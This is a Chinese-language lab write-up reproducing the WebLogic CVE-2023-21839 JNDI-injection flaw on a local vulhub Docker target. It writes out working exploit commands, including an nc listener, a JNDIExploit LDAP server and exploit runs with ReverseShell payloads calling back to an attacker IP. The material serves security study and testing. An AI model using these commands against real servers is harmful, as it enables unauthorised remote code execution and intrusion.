1.说明
本文漏洞环境由vulhub
下载后在本地部署:https://github.com/vulhub
本文漏洞利用工具1来源于:https://github.com/DXask88MA/Weblogic-CVE-2023-21839(可能是我利用姿势不太对,没成功)
本文漏洞利用工具2来源于:https://github.com/4ra1n/CVE-2023-21839
本文漏洞利用工具3来源于:https://github.com/WhiteHSBG/JNDIExploit
我主要是对漏洞进行了本地的简单复现,其中用到的工具都是各位大神的,我对4ra1n
给的工具进行了编译。
2.漏洞复现
2.1漏洞原理
CVE-2023-21839允许远程用户在未经授权的情况下通过IIOP/T3
进行JNDIlookup
操作,当JDK
版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE
漏洞。
以上来源于:
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2023-21839/README.zh-cn.md
2.2环境搭建
下载之后在本地使用docker
部署:
docker-composeup-d
访问本地:http://127.0.0.1:7001/,出现以下界面证明环境搭建成功:
然后访问:http://127.0.0.1:7001/console/,等待几秒之后,即可访问到后台管理登录界面。
使用原来的Weblogic
漏洞RCE
神器进行测试,偶然发现存在cve-2016-3510
:
2.3漏洞复现-失败
攻击机kali:192.168.135.22
(java11
)
目标机:10.30.0.214
(mac
启动的docker
,java8
)
中转文件:JNDIExploit-1.4-SNAPSHOT.jar
在kali
上同时启动监听、命令执行、反弹shell
的工作,先监听:
java-jarJNDIExploit-1.4-SNAPSHOT.jar-i10.30.0.214
然后在本地开启监听:
nc-lvnp7777
使用下面的工具进行测试:
https://github.com/DXask88MA/Weblogic-CVE-2023-21839
命令(要记得使用java8
的环境,不然会报错):
java-jarWeblogic-CVE-2023-21839.jar10.30.0.214:7001ldap://192.168.135.22:1389/Basic/ReverseShell/192.168.135.22/7777[*]java-jar目标ip:端口ldap地址java-jarWeblogic-CVE-2023-21839.jar192.168.220.129:7001ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111
通过多次测试,发现还是有问题,能执行但是回不来:
可能是姿势不太对。。。
因为时间关系,暂时就不测试了。
2.4漏洞复现2-成功
攻击机kali:192.168.135.22
(java11
)
目标机:10.30.0.214
(mac
启动的docker
,java8
)
中转文件:JNDIExploit-1.4-SNAPSHOT.jar
首先在kali上设置监听,用于接收反弹的shell
:
再通过kali
上来设置监听:
java-jarJNDIExploit-1.4-SNAPSHOT.jar-i192.168.135.22
最后使用工具来进行攻击测试,使用工具来源于:https://github.com/4ra1n/CVE-2023-21839
将工具下载下来之后,在有go
的环境中编译一下:
cdcmdgobuild-oCVE-2023-21839
使用的时候,按照作者的方法来执行:
./CVE-2023-21839-ip10.30.0.214-port7001-ldapldap://192.168.135.22:1389/Basic/ReverseShell/192.168.135.22/777710.30.0.214为靶机192.168.22.105为攻击机,也是接收反弹shell的ip
漏洞复现之后,记得及时关闭环境:
2.5windows下工具使用
在这里使用windows
版本的试下:
同样可以成功。